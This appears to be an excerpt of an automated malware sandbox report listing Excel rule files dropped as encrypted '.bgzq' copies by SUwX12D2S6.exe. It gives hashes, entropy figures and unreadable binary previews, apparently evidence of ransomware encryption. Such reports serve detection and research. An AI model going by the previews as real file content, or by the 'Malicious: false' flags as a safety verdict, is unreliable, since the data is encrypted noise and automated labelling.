b.q.6...}....k..=pZ`.5.c...........)0...T.......H...xc....2.=.......J.$u\....jE.,...aD....}rF...N...(.A...4.e....[.D...M).......4}:pY...J.i.%.Xg."....b[TVYwf...A@#.+.}V..H.q3B.m(...r<.W...&.j.8X.._.."a!.....u..x.m}..._s....4bg....pa:..,...q&b.I'

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.86918208000684
Encrypted:	false
SSDEEP:	24:e0JKvqC1VH1V4zBauu+h8yAYyVLIaSkweJbUtOu5EIraalZFHJVcVbD:LY7r1uzBaf+N9C4sbkLraEZFHJVcFD
MD5:	FF13E9AA106A484F4889C9844A4FFAB7
SHA1:	87DC1B9083A6A442BAFD46D4A2469192C5E89B64
SHA-256:	0BF289EE5562EB482C3D49EB9DA09CEE8C134B64E7EB78E5E28D8BA52994F208
SHA-512:	384583B2420DB39DE15CA3B4AF7D8B3A49F6F1792A29B916C9C5A370BC190A3E46E8D582A82472A378B4C89D0301765665AC2843EC4A0D326AAC750E1212555D
Malicious:	false
Preview:	<?xml.\!.+..M......\|.y#A....E60..?...pz..O3Q+.q.7...4.Q5..&nV.s@>!. ..T....;.Q.R..c...EN..O.K`.j.ZW............{7<.....7\|..u..mR..2+.=.PK....d.dC...nk..eEp^.ROn..%.....-^<..Z.))ngH%t....>>1......2.x..V.D....2q._%r.+.>].(g..=..85.(.r.....g?....y.L.F. .C......1 .\....9..f6iuq.?.B...D"(C.~g..y{.o...8.jvD.s~.....Y.d..u...RQsC..\....d.6...?..v8.j..n..@i.8../8B,.7...`x..I..0.eh..H..".lg...C..2N....!S..ii+.9;..{..i..8..M.i.Q..p......;X....+.Y..^\.RZ..V?....[..q.4%{:..\.........q.2v........2..;D..?...^.$6..Z.E65...MS.9.m...../.8...ql.g..'f..z.D7\|...Qf...?Rnt.....+..&.NB.@..K..x..Ey1Di.....eg..I..;..a-..E...pUB.m.K..rV..~+...L+}....+..3.%.2..\|.R. ....WHG.`~.1.!..u.......;.{..O........$.+.2}..>...2.h.3.;.z.l.#+...W....D.'8.^[.=X...P.x(.W+..y..L.c...........29...uCB.L.u.W..D)..1R,G..v..j....a.....#.. .E.m..N.....E...}....7A 0.CjJxOa...f....S.ibP[.#..e}.:FnC...n.....J.%...)..d.?.`4wM.Q_...;0F.-...t...E....K....A2"..l.u.h3.m.Q...ajF...QBy.xh'.M.T..R.R

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.791522877815474
Encrypted:	false
SSDEEP:	24:M0Eg9V4nLW+tz9nW/u01Xj69jRdg3UnfuVbD:bErnbxW/u0969j3g3Un2FD
MD5:	CF081A17F676EA54C5932D83D09B2B93
SHA1:	45C63B8D3823509149621BE50D6C1FE67A391F09
SHA-256:	D8B47B1C31BA1C3AC933FB3A5CF82EE7B660610F3AF5C86275FC1F71E0D02B32
SHA-512:	54CA8D240E47BB4ACB02A4239A290EBF89F867361C815424F445CDBC4B8B6D866D8642674E88FADBFCFF7B94529BD33F7D88AAEA20BC6E427582F3FC28254465
Malicious:	false
Preview:	<?xmlda.SX{.@.b.....:.}.h....}.J;2..w\|n.....4Po.L.1k.....U.o[.+.aw..I.tv+!...sc.p.`..p......eY.......&4.[k...[.7k+.X.?..p..-N.}.A.e=s...........^e.Je.z~..>oC?"0........N......x{.........M...J]..U..1..PY.O%...\|...b.n~:.&........zSQQ...CJ...} ..%..wB...x.O..LM...@v<0m...O..sG.{..:.o.7..Z..w......v).. ......(.=...t5 ..TE3...D....g..J.=..@k.AY.0.;h.....$...hIN..g.6l....C "~0..x.......qo..`..P...}j.&.\j]$......&..Q"...h.. .(D..d.'...K\>.....s<...O.?.o.4~..3..M.I..b...9......7......e.I\|"kl......G3z!.A.c...s....(..~k.5u.......O....l<!o..L.jL.\I.^..N}..L..N9..7..n...?.=...r;.o.Y.N...Q.K..\|....$....J..&!..ut...tk.+.#......,A^.fx./.z.g.....f^_...+...]x.....A._p{...O.P..b`...r.U5.Q,...H.........k...v..;u....-..#]O....G.0=.`..o..-...U.U.......3...=..&8...0....l.RJ..L~MR.x-.8~..5r...!.....]U..7P..!6.m......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.794796863583852
Encrypted:	false
SSDEEP:	24:olRLV1L6JBD6Q1ax5b+8Ehwbn3NjHFWHb7/VVbD:YV1uHI/dzn3NjHkH//VFD
MD5:	2E1C0D95C2101370B33007BDAFE83D11
SHA1:	F49B21D6F924410EA2503245461577E106768276
SHA-256:	E197EBB9EFCB64AE4EB482B841286DCB68FE1314F794DD6E06914E04E738792E
SHA-512:	629FCA6FF403721CD69E5F098D0632D8CF3F88BC1100947F9D1B1EAF7141994114F90EA3C3D660B2A3CA9210663A989FA8A725EFC988D76CAF9607681B6CE43E
Malicious:	false
Preview:	<?xml....7.YG.....<....f}..'...\..........~...=.j.r<.:e.x..P.K.+.....0F....bB.~.)....+.bK.+..#%.m.......z..........9.V.I..QE.w.3.$.5.......d......W.aw.......6d...Y......=s......\...(.)....]........j..y...8b..1.a..9..M.-.........y.p]I...{K.v.c.7....X.q.%.\|}.'..\vf.D76O.=.;e...z.Y..h.f.h....:4.k]....2.y@..M.5.........V..&Sc....Q.]...l.o..8/.b...TI%.@+\|'..m...-j.\1...n.$..4..MKJ.......Q.g...1N...I...l.{..\D.v.zw....W...!6.{.'.1Pq...^...o.f...X....e...+a...C...:?...D.^.{.... .u.J...%I..:..eP...x.........VHA.p._...W...x.....>.....i....7.Z.5b...Y.*"d....2..gd.A.W...2....:s.W....d`.../J..~NHO.....@\|.......5....?..M]...A.."......O.o..fQ.._....%%.8.rjP...i.%D.p.U...i...(.Xe..`.io,.\M.5.O'D.RD.......%._.XQ.Y....nv..[.m.d.}.$.<.u.-...Zk....C].6..Ko.0Q....c=Z....P.mMU...s<.6......U..i"Z.".]..s[]5...4....86.Kc....D..R.xi^,...u..&^0=....W?.D...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.905101796990622
Encrypted:	false
SSDEEP:	48:AX+U1gLGsRnkB/B/GeH2f1bkFtJXr/Gc1AR/LG0GjrWJNVyFD:B9Ry/NGe61gFrXr/gRlJNVy9
MD5:	410C1113852CFA33C09737990899473B
SHA1:	5D5AD4F38B7105EF0A62BFC6578AF2C61947468D
SHA-256:	BA34554523533D779D3AD00EAE32F18A12281FC5DDF9735A190AF9FA383B46DA
SHA-512:	7B6CE3F04AE8B70A1AC9DA329CDC12A776BDEF62C417C497233107EC96ACDE31C980F0A7DC3150602F3683491D91FF90E45A61A45F7D73A5DA3E16F399B592F6
Malicious:	false
Preview:	<?xml#..0..p...r2..+....?.7Pg.9.i.h].e.y.F..A....{.?a.X.}..%u.....o..Fn..W7...f...W....R.sb.G.`..N...t..21..?e.:.>.\|.w...Fm].......Irou.lm.m...i..GmR..!..F./w.{.?.F}.C.ukm.vc.".f.h}.l.".Q..`.#x........W..A..LL...Q.E...S)k..C;..^..._.sW..\|W\......=..Q..r,.L.m...r.'...&E.qx}i..."-..O.l......(tu.V..`u'..F..n{.P7..0.Z..!.h...........}.4....-.u.....)......Xue....3oHU7.?.&l..u.E8"h\|.Z89.......(....90..8...{.....:[.Ha..p...h....y.z...&..%W.1I.4..bFY...G..E.6+." .....x7..'N.h....C_$?....%$.(...c.J.y....k8-.".#._.k..\3.:......4..n..L...?...O.:.....:.r.;2j.4.... 8NY_....)b. ......+.....}.p..m....d.nf.e......V.C.#..]..}.%..T..H.V%.t\|.e.....5..\|.........s]..&U:...N].j.w`.a..@8].?..k(6.....x......8..E..I....w{.".. ....F.v.V...0..k.&....h.R.$..t....%.T.._.@{i..1.z.O2..C.)...*..Br...{Jef.....L->;.T.F<....).h=....~..7..((..b...IZ..r....8....._.p.;.1h....^..`....[&...%...B../Y.w`%..\|..`..e,.\|.am.sNl.y..9..!7.'.tPH../"...Z....qh7Q.....L...]Su..W.Y.{^..w.d0[..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.885964846380011
Encrypted:	false
SSDEEP:	48:LB7poiorZ845e0DqOyUKlfijBlN220qog93LsoxJ0+/xQIFD:tNoH7Yi/N2vIQopZ9
MD5:	CE8E6BEF5DC4FF8116B6F7DD81CA6652
SHA1:	E8600E347C750F08584CD1820FD926D42F2C4BFA
SHA-256:	5DEBA40CEA622042251ACE3F8DACD8F6ACDC416051CC0F340A345E1F1173755D
SHA-512:	17ECEB37C012D25DC14762EE9418660E404FF86EC28A6BFA48CFC4BDBF3E9E45FDB30AD8F89033BEAA6635489E3B3740D7A557584A9686B6A4DACBB52D2D9E29
Malicious:	false
Preview:	<?xml.b.......Q.`.W#.;N.i....N.F(.....+g.D^....#.A...4..+d...l..d\|q".....[..9.P.VQ...~..WB...Ku3.=.Zp....'PH..2..\..^f;'v......9...[R_t...5.R`.........P.[.F.....q.T(..h.L..Ix.$...=...z...k.._.E...9..ar.7.!.@....j. T.M...B{X,.....9?....I..qz2.sI4.-+..l.-.0.g..:.\..VY.".4.u..^?..QJ..).!<...)....?lT..gt.`0...9...+.K.<L......E...A....K...b...[..{..f.n...e.!...}...P...uH..r..K...:^!.U.....X.Q'=T.V._Y....[..k..5..wl.......SL....F....9nNp..x&N>.E.r.... ..OP..jF..Qt...T..\.h.....g1$..E.......N!O.k5.- z@....-......>..H.Py.(..?.%.2(...+.%z.........9.^.R.S.=......h=......'..g..:Id.....B.....a:?.c^..M...-A....O7.7.Qkj....>D.......o!)..`.....e.....`.(.{...C.\.[>.[..B....m...%....Xu_q..QS3..H.....v...R..............Q,JE..s.`._...b...T./...e..y......x....(i.,...D.....U.=.wq.N/.!O...n..;w......Dz..1bD..W..C./[..*.,3.f..n..T.....h...]......<.~g.=.....'S.M&....N...K..r..zu....0Y.......g..o.........-u.?.4.]...x.,j...5....<@.....A\...M..N..T...s.H....{7Vi

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.789079550532465
Encrypted:	false
SSDEEP:	24:0Bta5Tf9DG24QDbk++JYEtTdhvYpCqN2CUOBtSEvyGQlVbD:HFD+I+mEnpYpCqN3vWlFD
MD5:	7AB794909269A3B3E6818000D0904C23
SHA1:	0B320549C85C7BE3538F6C8639E318D74452E41C
SHA-256:	9589665852D37A1EB3BF4267926B43C043DEA1BB242471AA89D84896710AA2D3
SHA-512:	582093191CD0A3C6A06A0F89AC06098C076CBA0803B7FE580FD72EAD2EED614C0A56778E0DB791A9AABD327E4A53916D3A95A4F1BF733DF81073646B77B6F372
Malicious:	false
Preview:	<?xml...#...#.Lf...!...%.3.TUP.2(..#..+.gg.fM....OEtAs>..h......z:.Yl......$.T...}h...]_T....OR...u....2....f..57O&...zI...Vw@AY...M...U...Bx.GOH...OtYx...X.J.xFp..W1..B..~.fKM.....Rv.......p.....ayUZ..[.^d......"X..~.$I..6c...#...S.Aj.s...0s.fE.W..g..:E...M.&+...k.[^x..X.....f..JL.._......~.V.&,.....j.e...-.....:...mS&.Q9...ei....=^........K&...l.>.u........ .nRa/L..x.E_kL...........T.........b......}p...j..z..2.t....:#-8......_...,.....^`.@......O..^w1t... ...$W4.....(....mC.;..y.#..a]..\|.Zydk..:Qr`../!...G...QR>-x+.../e..m..loU.\|.".....&.Au.%...sU..]e6lz.H\|c..o&....C.NP..Z.....0.[r:....1..$R..X5.......(..H...^bsn.....Z^..uF>.n%..F3.......2..B..J.h.../......Pu..y.....2...........<...x...e......(.x%..!.x.^...$3..y....f..~=.d.......3o....b.bL.V=.<.x.m.dTl.N... u....._...m8.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.780029620801227
Encrypted:	false
SSDEEP:	12:2I8p57GFVxFcVBJqFgi6VVkeK8gcAEW0aXNAqUBrDmxZkzESsSKMhNjVcii9a:2I8v7GFVCiqfKR7JNvrZe39NVbD
MD5:	D0419BCDA55047DB54F2923A445E6F3D
SHA1:	473CF1FCEA78156746E5E0C810ACC926D6700685
SHA-256:	709B55BEF5C108225B0C77D6DF04163D52EE179A4D213ED82804D85F8A6D6F30
SHA-512:	527C9AC83D568BB043954592A0F210544B183CDA7163EC345CB5185B2E435817FA61B6409D22BD0E50A4900001202C9A06493C50DC45E61C67BA28DEF20DF587
Malicious:	false
Preview:	<?xml..`.2...N.L.J..)G.fB..Z/.`P.t.Z..D.b.\|..Z.....\|.i+.....\Y..\|..!.(./.....=."......._..=....V...-h\|.g-.LwP.6.m.)....L.Vjwm.yKga.~..8.f...AZ.j...U..+quV...T!...a.g.O..{^.)S~..Y...K.......NWxq.......Y... .m;>.El...7m......:..j..v.......PxM..k..1....l..&#OU...y...+.+~.05......p...@....\..I...........%.s0Z..+..H..bF.rv.::z..9....)._?....J74k.K\|....:...L.lpG.`...N......./.....J..4..m.......I[....7.jS.Z"...P.....S]..P0.Xx..5..#..(Uc...'.EZ...,S....!.-.<...]......dr..c..;...C..}b.6#.M.(}.$@.Ty....q..3'/.N.Z.....'S{.I..O.C_..3..e...<s.....5....u...enD.37./0........~.Z%...R..Hp..x...!...W<.a.W0.%r....Pu.Y}..27....4y...Q.hr.......:_K.....,.I..F...[l..F}..q....f..=....i.%}......X.`<.:]..vr...&.......W.iH..W..=b..x.P....."3.b..D4...y...R.....7if..}.....-.?itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.786236527568913
Encrypted:	false
SSDEEP:	24:uKvagzcjQDr+nHKj/ct6a9zjPT17GbIanLLEQaMVbD:uKrzcjQ0HqcgaZ5KnL4Q/FD
MD5:	484B3C829DD95F150104B977107B2BCD
SHA1:	5E66F530026D7F59ACD22378C2399F1DEA52844C
SHA-256:	0496587C6CB021C637FCB81CB7D185A5F972AD6F72D14346AC39344FEE46DD69
SHA-512:	FE5C7B4F6D9095401104A48017DD06237C9379D6DA2372481281FCF83233DD9912209743FED44A1CBD95EC52AD59786C4569075BB0452F69D9CBF5340B9500A8
Malicious:	false
Preview:	<?xml.vj..FD].t7.u.D........la..t;j.i.9.\i).]4{).....t~)e....... @)1....0.D,-.-62;...1=....7dq..:..x'#.(...AO..i...+j.xa.S.A..../.l............1G&....HU..'.LK...~.B...[....A.'..`..4.a..R.y..@..+6.xd.1g>.U:.e....H.R....r.....=g[.>.&z....cL6>._.#..z."N\|..f781r)d.>......N......a..]...@p#....)H.4Z.7....%..K..?ZB(uc........G!.a....n.'..0.B.GI1p...1w....H..).V..p..UU......[...o}.[~....2., ....S.wa..L-n.....P.DZ..$.n....xO.[.n..4.....P...+.k.._l..(.E.....)d;..}o..D.~.....57u..b....p.j.....;!fo.{(..V7J.......y..Y..]..fSV.....^.;7U..=...O.....f....bws.`,.....:.K....E....`....B;.sP.h...C..p.FM.&...o..ckW.f.O...-..G..`w2..j...X3...=..5.Z.X-:.8 .<.....3.9.b...Yx.A.f.i!j.R.jM..u......Ih.i...v.%.H5...8......Q...Y8..Ed....j...TF...=....{...,.-F?.......w..c.X....H.Z3..f..^...{{....)h..\|.).....eP!...l"...5....D+.......akV..p.i....q..E>.$......iV.....0_ssz....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.686362729735585
Encrypted:	false
SSDEEP:	12:t2c1ME0qCH3D0XcbtlFnEBqJ4yAvXjYS2iqets4FCj6DMgVsp/yxj0vyiPgKjVcq:t2TL4XcZPwG4yiGKtsFw/Vw/nyslVbD
MD5:	F450C4A0C198A07C19A690736833405A
SHA1:	08F2BABE2FACA611E4035F9A2C83621B8CDCD0DD
SHA-256:	F2D33236BB0A1A5D7613CE5F5DE7395833E38F30466C1295E8AA81ADC426D883
SHA-512:	1F02BF105ABD1EB28434C2777741949D8B5E25447C91178495C14338CDC3ED739939D0BED0DF30F4B903559DC0C00FEAEA2A74E8680B14AE9357EB7786A7A06A
Malicious:	false
Preview:	<?xmlD.c..u.a.Th-........8..l.C..8C......vh.....a.....?B..sV?...`.C.........v?...q....\e..3y....~4..au....^...U.6&...@..{A..............)..3.u..rv#..F?8z...<.+1...AP...w.b.s....6..W.q.mb.0......&.=.;-.JcH....>..G.{al..Ax.BhV^.......}.}.....`>.+....."[.....t..z...Bb.._.+V.....T.m..'ZM.*.e....>{....D...S.PV.Rs.H.Jz:P;u1d.!...M..oHb.Wur3VVL.N!.......U@..,A.i..3..B<..[...S'..S..%3;.Q....O#..M.{..........Cj...v.lS]..gIE-"..].......1nuYt...O..m.K_.A.J.d..z....Q.U.....gF..l..5...P..?. /...{.o%.S.]ly.yIyJ..N/.12..8....'.qU....w.U.....;a...%.c.CXFUo.N..........U.2...T...."....n7^.TfE.}.6..;b..j..#..zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.824928313732388
Encrypted:	false
SSDEEP:	24:L/dvHVErNlSViSuPdzR2M68UUFGFUN8P5xr0plgxVbD:L/JUMVircbUFGFUN8xxr0pixFD
MD5:	A46D8AF22B9C2192448B3BE6C762CAEA
SHA1:	35812F733A364D99EF575956FE8E99624008808D
SHA-256:	C134867434E37FF6773181AF0B2907C6DCEADA8D20880B6F1A10A2D794D4F3E6
SHA-512:	1BC2702260E6C93753BA875E0CB743273C91C16CB6639DE472AE9D761EE4DB96FAA0D556655EF86A3877EB5EF4571F350BA5B002F51C2217AC00AF8423C49ABE
Malicious:	false
Preview:	<?xml..'P&.3.p..m.<.....mu.@.. A&.?..~W.-.`...../D...4..'~....g.[8.5x....A(l......hmN....cM.w"0..k.?.\....;tN..Bae/.:.$...&....4..y.WHb.a.dA......+c....a..20...>(...}...s.....l..M..E.(R._......M....xm.[..r....Hd.n.s,P(...o...D....Z....'.._.......-....:....RA..aL......`........\|9......~]...:.......E...n....%..+4.]kOX...6.sXW}.HP3.`A.\...Z......E.e.z7{.Lg5..>.!...u2..Z.F~....Ho...Q..\.:..r$.....6:.i..M..4Q.P.....`.;8...(T........p~Z.t2"........T. [.'w.o.]U..~...p..e...{.._.C.r.T....{.b.v3..8.........Q...z 0.D5J....-....]..olp7...{.?IX#....fK.#.....c:...~..f..$5....ZJv....Q....6.-g.....B..^....p.E....bP.Zx.8..j.g...'UY]...U......N.._,...../..C._... ...:>6 .g...c....Zq.o.....\|...;...4EI.-/%A...w..P.4...8\|..c@\|...0./..i.;...M.R.....-.b(.k=U......&.Q=..U...k...6../y..h...!.....T...S.d.\|.y........X9f5KG........J.. .................a..L.&.........dy.........vVw.JB'..<........ek..^&\|'r.....p.........2....^...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.818254908624005
Encrypted:	false
SSDEEP:	24:ej5FT3BBjosknPx/Pfd2ym9oMM4XiwBwx8oCwMxVWSPacVbD:erfenZt2tpSwBwyxwM0CFD
MD5:	9B9ED7EDA25A0ED3C90A5F54033370F4
SHA1:	8E01148A6121AFCD35611FD1283655C23ED43E11
SHA-256:	D8917149C375D2AF72D6E3FB53E19399FA4DA0A08380F288C88AB67687C1EEDD
SHA-512:	1AC919110393FBD896136C207FBBA8E8BDD0F96C576CCF868E7026A0BA2DFD95E5E9A165D140A3B811C30C9BE29725B7BB6A4EAEFA4222CBD33EF155373D84F0
Malicious:	false
Preview:	<?xml.r......A.zn5.D..hC.8...J....M.......R.9........@....x.C...Bu.[Q-#.}.t.S:....Nn9".M'..C..@.q5..k.s#v..u.......&..!.Ov..<h..Gp...o.o..-...Ki.L../....-...2,..k..QF{).q.<@.r..t...H=...m..y^\|cT..8.{....V[..[b$....r.....s...q. 7?..2.z.q....5t]2.Lu..+.f.g._.....8G.4.g^....P..&.&.%F..&.hp...~-...OS....c.q>..........u^....9..,N..D..=.x.......R.f...m.J....:@.....K<\|<.Q..h.bl]...oP...x..F}.S}..a.1.o.:$..'O...W.0...w$.x.U..`a.7 .uO.c........j.6f..3....-+..T..r.@D.}...^t#...cQ&....>`..z.B.>.{x.0....L......%...6...f....[O.<6ei..K1..'....#O.y.A4...#....@*p.ZH..s0.@.Q.p.E..X.O..93.Li.....Jp.........U.%^m.D..0.M.!c...&..v....D.Al..'....h..+.p]..>t'...q.......z.'a......5.=.iK~...8).I....l ..sy.........V.7...Q..F.c.M....J8YKj.) \...Z..}....s...d>...%..`O6 o..H.`.".......d.Z.iVy....N..[..;hC..F .3.MJ..P@...\\|..9.....BA...~g..f/.Bu...Z...6..8!.mr.=.....Ko$......m.+..9.;.)./...C..\..W8r..E9..W.......[3..&.<].0.hqn..S........SN?.U2%./.....K.iA.5m.`@..)]..x.Y.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.869830616733846
Encrypted:	false
SSDEEP:	24:AinapqdjDfw8TXrgfBw+mjUn6amutj4SI4JpUIj4e69g7eoGVgV2Vw3vdVbD:AEMADxb0fBrKmtj40JG3yuVsFD
MD5:	11A7DF6C078D6399E1108158E2EB9D49
SHA1:	E4FC59B10BCFA1A7C0F0071106A02FAF98EEDDBD
SHA-256:	44C078D76F6B7BBB6104E5F48FC7E92377E0362169D2C758C7B3FC88280763AC
SHA-512:	2F49BBC2A2571F78839894178068F46F70449399E97078D63F7F39718EF7BB62CC04946730B41E8354E088CAA987524C6EB97B2D8B17DBBA9339193435094731
Malicious:	false
Preview:	<?xml}S..X..nvO1..(..:......RbV..?D.!...q..M........\.as"..H..x...K..S.FEuS.L.\L.....%..4...4U...am..=..M./.&.*.I...d.E>.q0.h..L.P.c....h...R.!.O.X........K..$.....$.j.".T.....f.cm..O...:.E.0..B.lu...Y..?..H....v...)v..&....R.b.+.1.o0....u.(.0.f.........G...E.0+...T\..l.`P....MZ.5....:.Pl.....8{....j4g.v4\..T.d....P.J..d..S&.P.-._..H!t.._.......r.S.o.c..3C.'.A8@....M..c....d%U.l......0X."..]...l3.6.;....c.gg#..m.Y...7@....4....WZP>......+.eN.H.l.5..e.<].z17b...M.w...Y..!........q.l0..>......\..t.tyf.Qq.[6.....i......:.....`..x..9..=..dMt.Tkux^.j.MEb..9...\}.4.&.R.....5...o.x.r.e...c1a,.E.. v.Lt..kP.K..M.?...0/...j'..o....O..-J..;..j#...`..._)..m.....8..>eoI.........+..z.@f...../.+.\|..$....5.m.v\|....tK.."]9'.Pl...<&".../..V.%..v....P.x.l...Hc(.{...].<.:yW$..........Vb...Ip....{..#. '.K{6yzb.U.......,u."pG?.:.Y.$N..P.Vkg....Xjv.k.....&L.B...j.....a...D.Xe.o.......%.}.,b.}.......H.#_n[!.2.......Ka..o..8..f...uI.%S"j....".+]....kk.J

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.780369782896962
Encrypted:	false
SSDEEP:	24:sEfoaZhrYpYGYvKm3Iz9kSIrYZ2aX7pSPfBaFVbD:sEfjoFm3E9kS32BaFFD
MD5:	7BB16FAFC52EF188E09A1989A7CF7180
SHA1:	7D18629C66BA0FE75E98A82C213861C5E67D0081
SHA-256:	65A74B2A49F73F3747B954E5B005AB395CE14D66765C1AE1B47B30888E9A1AB1
SHA-512:	EC4EDC810207FC29773B65CDFF75E6E59F219B18CDC34493EE91F6DA307F3DAC4F947CADE0D36D9C204242CA2071BFAD8D8749F3FEB9E71D6FA7E9ED5B789F16
Malicious:	false
Preview:	<?xmliF..[..#l?.jz\...+BI.;...q_.iU......".z.aN.SH....Y...^.....!2....^..H.........#%..pJ-.GN..,.z...l}......PT..p...o.........b.~2.......6.........Y3}%dZ)....n.1.b]y.34Oi..l..=...'.~.k ...y.....x.'V.N+-....\%..{.........2.K)....omGb"_'...U.t.<..s;K"...f_...B0.`........h..i..k.M....^..Y-..../.m.V\|.jz%4..:8....x..q..ptJ.h.Yn..R.m.#(....^q.Q&}.;.t.hM..^4.=.0..b...G...o..#.<.....T.Km.d2.t...I..O....^."l..C$.E..\|.q.}w.a.\..."&m.#....T11{C.2.llS....~.)(..\.;,.c...Y.Ob)w....x.)%.V.,JD....+=..Z%".O_6....YG.52...l. .....tL.__}...o...M>a..v,.........<cL..'.=S......j...a.P&!.}+'..1.]% ...Fb}...E..%.c8b^.....d.Z..I...h.:.5G}.....NXGR...<....s....4..wa{.o&...6.v....gz....=....adT)....I.?...l......0....G#lS..K..7...0Nm..4!q..W9.t..h..6._q..l..s.trJ(....`Mh"y.....}.l.....:.1:..h.qGz34....#.....k.>..;.*..pU'..c..v..qr:7S...\..I.......o.v...!..i.n....6._f.R...i.C.w.....$.\?...b...D\|R! .t.;.mn..}...j.e-/..Pc..&.; itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.750295034558386
Encrypted:	false
SSDEEP:	24:aV4f0nnYmXH+kEwuNe+llnSDkIbhNSChK3k0QyrgPPSKGiVbD:aV4KYmXH+kHuNDlSDkIbhZhK3/Qy6Prt
MD5:	6F3B3329E7BEA2E2EE096419D2C5AF2E
SHA1:	96D729BCF3091C10210CF44495CAA4288E0F47B8
SHA-256:	8A1F2CE978ECA6D07F45830F5326E75C7ECD4D68864ED472C1A0BABC6695D7ED
SHA-512:	6EE3BA93686C7F01D67267C63EA90584E29B81B1AFBF4339AC452CC57EC17B5404CAAA797E266737608B6CA9DF1D21117A4A20A5E64EBF1CD9DB459685817878
Malicious:	false
Preview:	<?xml.e>..!.L..O.G.V.N...5.W2.W.n.K~.&.....u..-O.E,.o.....6.3.8.H..Q..{..t3@............:2...fe;.......X......V..~6A.l..@K$.n......\|xrYL...x.._....tmV....?K..`p...\|.@[.N%.bH...F.<.'..Bow].t...{6.\....u.k.~.2..4......_.D...:........>..<..G...Xi...X.S...s._.].g..@....Z.\.M./._..r{}.o...,C[X).[............[.;}/.I....F.......,U./e0}$#.v..`k..N).MQ..O.&_V.."B....:U.75.@..s...}R....b..B'..lX...H.#.....jh....d..9..rN_.l.O... ;..1..P.n_...(.z.(....HdH...Zw.)#6._..2...oR.y.\U;..X....L.z.c..C._?p0.@.&.B....;...xc..-dF.u.J..Xz.....=y..v...^.u.>...;6'....\|.`..~;b..z..e...Gs]$..(`c.m~2.......3...-?....!..m...4.w...b.l5..".l.o.........6...<...F.=...}[.$md._D.SM.\|Ld9CEMLX.wY..8.D<$ 